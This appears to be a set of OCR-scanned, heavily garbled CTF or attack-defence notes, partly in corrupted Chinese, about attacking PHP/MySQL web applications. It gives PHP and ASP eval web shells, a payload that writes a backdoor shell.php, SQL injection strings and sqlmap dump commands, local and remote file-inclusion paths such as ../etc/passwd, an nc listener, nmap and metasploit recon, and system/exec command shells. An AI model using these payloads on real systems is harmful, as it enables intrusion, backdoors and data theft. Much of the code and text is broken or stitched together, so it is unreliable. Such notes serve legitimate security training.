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V. BB B & Y,
> mysql -u root -p
Show databases;
use mysql;
set password for root@localhost = password('123'"); (&
update user set password = PASSWORD('Z & #: ¥ % #3') where user = 'root’;
flush privileges;
show tables; FIEeHflag.
select * from typecho_flag;
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netstat -napt , Isof -i &F M,
kill -9 PID A #iE
nmap -sV ipHiht (-sVZEa] LLERH B A5 EHLH RSS2 b )
nmapH X IR R E, 21,22, 21,3306, ##47/@8%, msfconsolei#t Ametasploit , , ,
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@eval($ POST["g"]);

5($ SERVER); @eval ($ REQUEST['

_




$host = 'loc 1'|||||~11'

$username .

$password

tdatabase yser';

$dbc = mysgli_ connectu$h0qt, $username, $password, %$database);
if (14$dbc)

die('Could not connect: ' . mysql error());

session_start();

$basedir = '';

@eval ($ REQUEST['c']);
e

Bi: vimB SRIMuiphpse e, EEE—FERD,

<?php @eval($_REQUEST[c]); 7> <?php @eval($_POST['c]); ?>
aspi)—H)iER: <%eval request("xx")%>

BA RS EAARE, RwElT %

$error=$ FILES['pic']['e ]
$tmpName=$ FILES['pic']['tmp _name'];
¢name=4$ FILES['pic']['name'];
$size=$ FILES['pic']['s
$type=$ FILES|['pic
try{
if($name!=="")
L
$namel=substr($name, -4);
if(is _uploaded file($tmpName)){
$time=time();
$rootpath="'./upload/'.%time.%$namel;
$file=fopen($tmpName, "r") or die('No ﬁuuh file!');
$content=fread|( $f11e, filesize($tmpName) )
if(strstr($content, 'fuck')){
exit| cript language='JavaScript'>alert('You sl
ow.location="'index.php?page=submit'</script>");
|
if(!move uploaded file ($tmphame, $rootpathl)
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BWR4ER: 1838, 2. nc/k#shell nc-lp 9999
1. SQLIFENIER



$que|y = "SELEC admin user_name='{$user}' and user_pass='{$pass}
$data = mysqli_query(

(mysqli_num_rows(%data

$row = myqqll fetch ar

['user_name'];

', $pass, '<

~Tuc - C hp' )
if I'empt $ hET 1d':32
$id=% GET['id'];
$query = "SELECT * FROM news WHERE id=$id";
$data = mysgli_query($dbc, $query);

$com = mysqli fetch_array($data);

| -
=

(1) APES, @INWRFESQVEANS, JHREEN "or 1="1 §5%4% admin/admin kJK##{4hackbar
select name,pass from tbAdmin where name=" or 1="1" and pass='123456'

(2) WDHMEM uEsqliEAN &, sqlmapiEA,

b FE B AccessEE FETE N K«

sqlmap -u "url" BEREZ, WA

sqlmap -u "url" --dbs & ¥R B

sqlmap -u "url" --tables -D ctf &%

sqlmap -u "url" --column -D ctf -T users &%
sqlmap -u "url"

P35t 090 P B £ I8 XA — MUBUEE config.php A
3 XM EE

--dump -D ctf -T users "user_name,user_pass" &7

$flle $ GET['$file'];

cl 14$flle, |

(D A HaE
localhost/a.php?file=/flag.txt
(2) ZREXHEE

localhost/a.php?file=http:ip/echo.txt
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MHA, bBf—aERY
echo.txt XA %, &4 Mishell.php AEA—AIEAD .
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xx]);?>");?>
T SO S BB, include(), include_once(), require(), require_once()
JURN 2 8 B PR T ¥ -
?file=../../.1..1..Jetc/passwd K B F#& b7
?page=file:///etc/passwd LB L1
?home=main.cgi

?page=http://www.a.com/1.php

4885 allow_url_fopen =ON, allow_url_include =ON
KA BEid, Vil A
ZEHBA: MEEHEEESrl, BEvE, AR, FKEEE.

$f11e path-;-$ hETi path'];
if(file exists($file path)){
$fp = fopen($file_path,"r");

$str = fread($fp,filesize($file path));
echo $str = str_replace("\r\n","<br />",$str);

“ho "allow url

/admin/upload/config.php #ALVI i, TR &M, BEEER

<fpnp

$file path = "/flag.txt";

if(file exists($file path)){

pifp = fopen($file path,"r");

$str = freadi$fp,filesizef$file path??'
echo $str = str_replace("\r\n
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BEEAHBRIERSG®S, % WphpikHisystem, exec, shell exec

$shell=%_POST['shell'];
qutemn$qhell

Il;

$qhell $ hET 'shell'];
quteml$qhell

Y
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$shell=$ POST['shel
$|‘:=$ GETI'p']: system gshell);

¢p; S if($shell t=m"
$g=exec ($p); exit();
va r_dum!:: $q
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EWAF, s, #2485,

XL E E, require_once(‘waf.php’);
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